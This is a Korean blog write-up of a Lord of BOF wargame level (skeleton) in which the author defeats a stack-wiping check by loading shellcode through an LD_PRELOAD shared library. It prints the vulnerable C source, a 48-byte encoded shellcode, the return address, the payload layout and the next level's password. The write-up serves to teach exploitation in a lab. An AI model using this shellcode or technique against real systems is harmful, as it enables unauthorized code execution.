일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- 네트워크
- 워게임
- BOF
- Spring
- Shell code
- 운영체제
- wargame
- hacking
- SQL
- Lord of BOF
- 정보처리기사 실기
- 정보보안기사
- LOB
- System
- system hacking
- 웹해킹
- 정보보안기사 실기
- Spring Framework
- webhacking
- 해킹
- webhacking.kr
- PWN
- Pwnable.kr
- OS
- Buffer Overflow
- Operating System
- stack overflow
- Payload
- pwnable
- Spring MVC
- Today
- Total
DongDD's IT
[LOB] Level11 skeleton 본문
[LOB] Level11 skeleton
Problem
이번 문제도 golem 실행 파일과 golem.c 소스 코드 파일이 주어졌다.
소스 코드를 확인해보았다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); // stack destroyer! memset(buffer, 0, 44); memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48)); } | cs |
먼저, buffer의 size는 40 bytes였고 argv[1]의 48번째 글자는 "\xbf"여야하는 것으로 보아 stack 영역의 변수를 사용해야 하는 것처럼 보였다.
extern을 통해 환경 변수들을 불러온다. 앞 문제에서 여러가지 hunter들이 사라진 것 처럼 보였다. strcpy를 통해 argv[1]을 buffer에 복사하고 마지막에 buffer를 memset() 함수를 통해 초기화 해주고 buffer+48부터 stack의 끝 부분 까지 memset()을 통해 초기화를 시켜준다.
앞에 있던 모든 초기화 구문을 합친 것 같았다. stack 영역을 사용해야하는데 stack 영역을 모두 초기화했기 때문에 어떤 부분을 사용할 수 있을 까 gdb를 통해 찾아보았지만 쉽게 찾기는 어려웠다.
Solution
stack의 거의 모든 부분을 찾아보았지만 빈틈이 없어보였다.
그런데 stack destroyer에 관련된 문서를 보게 되었고 사용할 수 있는 것을 알게 되었다.
LD_LIBRARY_PATH와 LD_PRELOAD라는 공유 라이브러리에 관련된 환경 변수는 stack 영역에서 낮은 주소를 가지는 부분에 저장되기 때문에 초기화되지 않는 다는 것을 알게 되었고 이를 이용해보기로 했다.
1. LD_LIBRARY_PATH 이용 -> 실패
LD_PRELOAD에 대해서는 몰랐지만 LD_LIBRARY_PATH에 대해서는 알고 있었어서 먼저 시도해보았다.
먼저 fPIC 옵션과 shared 옵션을 사용해 gcc로 공유 라이브러리 파일을 만들어주었다.
이것을 LD_LIBRARY_PATH에 넣어주고 gdb를 통해 메모리를 확인해보았다.
LD_LIBRARY_PATH에 생성한 공유 라이브러리를 넣어주고 gdb를 통해 메모리를 확인해보았다.
입력한 LD_LIBRARY_PATH의 NOP코드가 조금 보이는 것 같지만 완벽한 shell code가 들어가있지는 않은 것 같다.
알고보니 LD_LIBRARY_PATH는 특정 크기만큼만 들어간다고 한다.
그래서 NOP+shell code+NOP에서 NOP만 일부분 들어간 것 처럼 보인다.
LD_LIBRARY_PATH를 사용하는 방법은 어려워보인다.
2. LD_PRELOAD 이용
같은 방식으로 LD_PRELOAD에 shell code가 들어간 공유 라이브러리 파일을 넣고 gdb를 통해 메모리를 확인해보았다. 이번에는 NOP+shell code+NOP이 제대로 들어가있는 것을 확인할 수 있었다.
이제 이 memory주소를 가지고 payload를 작성하면 될 것 같았다.
shell code 주소 : 0xbffff5e0
사용한 shell code(48bytes) :
\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81
Payload = dummy(44 bytes, "A"*40) + return address(shell code 주소, 0xbffff5e0)
위 Payload로 실행해 쉘을 얻을 수 있었다.
LD_LIBRARY_PATH와 LD_PRELOAD에 대해서 잘 모르고 있었는데 이번 문제를 풀며 도움이 많이 된 것 같다.
************** Answer & Flag **************
1. LD_PRELOAD 이용
Payload = dummy(44 bytes, "A"*44) + return address(shell code 주소, 0xbffff5e0)
Next ID : golem
Next PW : cup of coffee
'Wargame > LOB' 카테고리의 다른 글
[LOB] Level13 darkknight (0) | 2018.01.26 |
---|---|
[LOB] level12 golem (0) | 2018.01.25 |
[LOB] Level10 vampire (0) | 2018.01.21 |
[LOB] Level9 troll (0) | 2018.01.21 |
[LOB] Level8 orge (0) | 2018.01.20 |